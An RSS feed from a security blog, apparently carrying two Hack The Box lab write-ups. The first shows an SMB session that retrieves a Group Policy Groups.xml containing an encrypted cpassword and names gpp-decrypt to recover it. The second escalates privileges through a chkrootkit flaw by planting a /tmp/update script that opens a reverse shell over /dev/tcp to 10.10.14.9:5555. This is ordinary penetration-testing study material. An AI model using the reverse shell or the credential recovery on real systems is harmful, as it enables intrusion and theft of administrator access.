<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Chkrootkit on rchitect</title><link>https://www.rchitect.in/tags/chkrootkit/</link><description>Recent content in Chkrootkit on rchitect</description><generator>Hugo</generator><language>en</language><lastBuildDate>Thu, 15 Sep 2022 00:00:00 +0000</lastBuildDate><atom:link href="https://www.rchitect.in/tags/chkrootkit/index.xml" rel="self" type="application/rss+xml"/><item><title>gpp-decrypt for password de-crypt</title><link>https://www.rchitect.in/posts/gpp-decrypt/</link><pubDate>Thu, 15 Sep 2022 00:00:00 +0000</pubDate><guid>https://www.rchitect.in/posts/gpp-decrypt/</guid><description>&lt;h1 id="usage-of-gpp-decrypt"&gt;
 Usage of gpp-decrypt
 &lt;a class="heading-link" href="#usage-of-gpp-decrypt"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h1&gt;
&lt;p&gt;&amp;ldquo;gpp-decrypt&amp;rdquo; is a tool built of python3 which can be used for decrypting AD related passwords.&lt;/p&gt;
&lt;p&gt;During some of the active directory labs, I could see a &amp;ldquo;groups.xml&amp;rdquo; which contain the local admininistartor password in encrypted format. I have used the &amp;ldquo;gpp-decrypt&amp;rdquo; to decrypt the password.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\&amp;gt; ls
 . D 0 Sat Jul 21 06:37:44 2018
 .. D 0 Sat Jul 21 06:37:44 2018
 Groups.xml A 533 Wed Jul 18 16:46:06 2018

 5217023 blocks of size 4096. 278651 blocks available
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\&amp;gt; get Groups.xml 
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\&amp;gt; exit

┌──(rocky㉿kali)-[~/hckbox/Active-1/smb]
└─$ cat Groups.xml 
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;utf-8&amp;#34;?&amp;gt;
&amp;lt;Groups clsid=&amp;#34;{3125E937-EB16-4b4c-9934-544FC6D24D26}&amp;#34;&amp;gt;&amp;lt;User clsid=&amp;#34;{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}&amp;#34; name=&amp;#34;active.htb\SVC_TGS&amp;#34; image=&amp;#34;2&amp;#34; changed=&amp;#34;2018-07-18 20:46:06&amp;#34; uid=&amp;#34;{EF57DA28-5F69-4530-A59E-AAB58578219D}&amp;#34;&amp;gt;&amp;lt;Properties action=&amp;#34;U&amp;#34; newName=&amp;#34;&amp;#34; fullName=&amp;#34;&amp;#34; description=&amp;#34;&amp;#34; cpassword=&amp;#34;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&amp;#34; changeLogon=&amp;#34;0&amp;#34; noChange=&amp;#34;1&amp;#34; neverExpires=&amp;#34;1&amp;#34; acctDisabled=&amp;#34;0&amp;#34; userName=&amp;#34;active.htb\SVC_TGS&amp;#34;/&amp;gt;&amp;lt;/User&amp;gt;
&amp;lt;/Groups&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="why-this-password-was-shown-in-this-folder"&gt;
 Why this password was shown in this folder:
 &lt;a class="heading-link" href="#why-this-password-was-shown-in-this-folder"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;This was due to the Microsoft group policy preference. Due to this settings a sysvol is created with encrypted password of admin. More can be read &lt;a href="https://adsecurity.org/?p=2288" class="external-link" target="_blank" rel="noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>chkrootkit exploit for privilege esclation</title><link>https://www.rchitect.in/posts/chk-rootkit/</link><pubDate>Wed, 09 Mar 2022 00:00:00 +0000</pubDate><guid>https://www.rchitect.in/posts/chk-rootkit/</guid><description>&lt;h1 id="chkrootkit-exploit"&gt;
 Chkrootkit Exploit
 &lt;a class="heading-link" href="#chkrootkit-exploit"&gt;
 &lt;i class="fa-solid fa-link" aria-hidden="true" title="Link to heading"&gt;&lt;/i&gt;
 &lt;span class="sr-only"&gt;Link to heading&lt;/span&gt;
 &lt;/a&gt;
&lt;/h1&gt;
&lt;p&gt;I have tried pspy and i could see the chkrootkit&lt;/p&gt;
&lt;p&gt;Lets search for the exploit&lt;/p&gt;
&lt;p&gt;As per this exploit if you create any exploit ,if you create a file named &amp;ldquo;update&amp;rdquo; under /tmp.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;amrois@nineveh:/tmp$ printf &amp;#39;#!/bin/sh\n&amp;#39; &amp;gt; update
amrois@nineveh:/tmp$ printf &amp;#39;/bin/bash -c &amp;#34;/bin/bash -i &amp;gt; /dev/tcp/10.10.14.9/5555 0&amp;lt;&amp;amp;1&amp;#34;\n&amp;#39; &amp;gt;&amp;gt; update
amrois@nineveh:/tmp$ chmod +x update 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or You can use EOF to repalce printf command like below&lt;/p&gt;</description></item></channel></rss>